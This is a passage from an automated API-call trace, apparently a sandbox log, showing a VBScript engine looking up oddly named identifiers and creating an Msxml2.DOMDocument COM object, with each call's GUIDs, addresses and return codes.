Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.148] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="cvbnm", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.148] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="cvbnm", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.148] GetCurrentThreadId () returned 0xd44 [0073.148] IUnknown:Release (This=0x1197760) returned 0x7 [0073.148] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.149] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="soswjwslvc", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.149] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="soswjwslvc", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.149] GetCurrentThreadId () returned 0xd44 [0073.149] IUnknown:Release (This=0x1197760) returned 0x7 [0073.149] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.149] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.149] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.149] GetCurrentThreadId () returned 0xd44 [0073.149] IUnknown:Release (This=0x1197760) returned 0x7 [0073.149] malloc (_Size=0x204) returned 0x83dbbb0 [0073.149] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.149] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vposaleusaogr", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.149] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.149] GetCurrentThreadId () returned 0xd44 [0073.150] IUnknown:Release (This=0x1197760) returned 0x7 [0073.151] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.151] malloc (_Size=0x804) returned 0x8790008 [0073.151] ??2@YAPAXI@Z () returned 0x844b458 [0073.151] ??3@YAXPAX@Z () returned 0x1 [0073.151] ??2@YAPAXI@Z () returned 0x11291c0 [0073.151] free (_Block=0x83d08e0) [0073.151] free (_Block=0x8790008) [0073.151] ??3@YAXPAX@Z () returned 0xffff0001 [0073.151] free (_Block=0x1197838) [0073.151] free (_Block=0x8790818) [0073.151] free (_Block=0x83d9bc8) [0073.151] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.151] ??2@YAPAXI@Z () returned 0x83fd610 [0073.152] IUnknown:AddRef (This=0x1197760) returned 0x8 [0073.152] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x14bb3c | out: lpclsid=0x14bb3c*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0073.152] SysStringLen (param_1=0x0) returned 0x0 [0073.152] CoGetClassObject (in: rclsid=0x14bb3c*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14bb2c | out: ppv=0x14bb2c*=0x72b7d4b8) returned 0x0 [0073.152] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14bb28 | out: ppvObject=0x14bb28*=0x0) returned 0x80004002 [0073.152] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bb30 | out: ppvObject=0x14bb30*=0x555490) returned 0x0 [0073.152] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0073.152] DOMDocument:IUnknown:QueryInterface (in: This=0x555490, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14baf4 | out: ppvObject=0x14baf4*=0x5554bc) returned 0x0 [0073.152] ??2@YAPAXI@Z () returned 0x1112920 [0073.153] DOMDocument:IObjectWithSite:SetSite (This=0x5554bc, pUnkSite=0x1112920) returned 0x0 [0073.153] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b9a8 | out: ppvObject=0x14b9a8*=0x0) returned 0x80004002 [0073.153] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b998 | out: ppvObject=0x14b998*=0x0) returned 0x80004002 [0073.153] DOMDocument:IUnknown:AddRef (This=0x1112920) returned 0x2 [0073.153] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ba58 | out: ppvObject=0x14ba58*=0x1112920) returned 0x0 [0073.153] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a9b8 | out: ppvObject=0x14a9b8*=0x1112920) returned 0x0 [0073.153] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a98c | out: ppvObject=0x14a98c*=0x0) returned 0x80004002 [0073.153] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0073.153] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0073.153] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a98c | out: ppvObject=0x14a98c*=0x0) returned 0x80004002 [0073.153] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.153] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.153] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14a994 | out: ppvObject=0x14a994*=0x0) returned 0x80004002 [0073.153] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0073.153] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0073.153] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14a994 | out: ppvObject=0x14a994*=0x0) returned 0x80004002 [0073.153] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.153] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.153] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.153] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0073.153] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0073.154] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.154] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.154] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.154] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.154] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0073.154] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0073.154] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.154] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.154] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.154] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x3 [0073.154] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14a9c0 | out: ppvObject=0x14a9c0*=0x0) returned 0x80004002 [0073.154] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a9a8 | out: ppvObject=0x14a9a8*=0x0) returned 0x80004002 [0073.154] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a9c4 | out: ppvObject=0x14a9c4*=0x1112920) returned 0x0 [0073.154] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a9b0 | out: ppvObject=0x14a9b0*=0x0) returned 0x80004002 [0073.154] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0073.154] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0073.154] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a9b0 | out: ppvObject=0x14a9b0*=0x0) returned 0x80004002 [0073.154] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.154] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.154] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14a9c0 | out: ppvObject=0x14a9c0*=0x0) returned 0x80004002 [0073.154] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0073.155] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0073.155] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14a9c0 | out: ppvObject=0x14a9c0*=0x0) returned 0x80004002 [0073.155] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.155] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.155] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.155] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0073.155] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0073.155] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.155] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.155] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.155] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.155] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0073.155] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0073.155] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.155] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.155] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.155] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x3 [0073.155] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x2 [0073.155] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ba50 | out: ppvObject=0x14ba50*=0x1112920) returned 0x0 [0073.155] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14ba54 | out: ppvObject=0x14ba54*=0x0) returned 0x80004002 [0073.155] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ba24 | out: ppvObject=0x14ba24*=0x83fd480) returned 0x0 [0073.155] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ba20 | out: ppvObject=0x14ba20*=0x83fd490) returned 0x0 [0073.156] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14ba54 | out: ppvObject=0x14ba54*=0x0) returned 0x80004002 [0073.156] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.156] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.156] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x2 [0073.156] DOMDocument:IUnknown:Release (This=0x5554bc) returned 0x1 [0073.156] 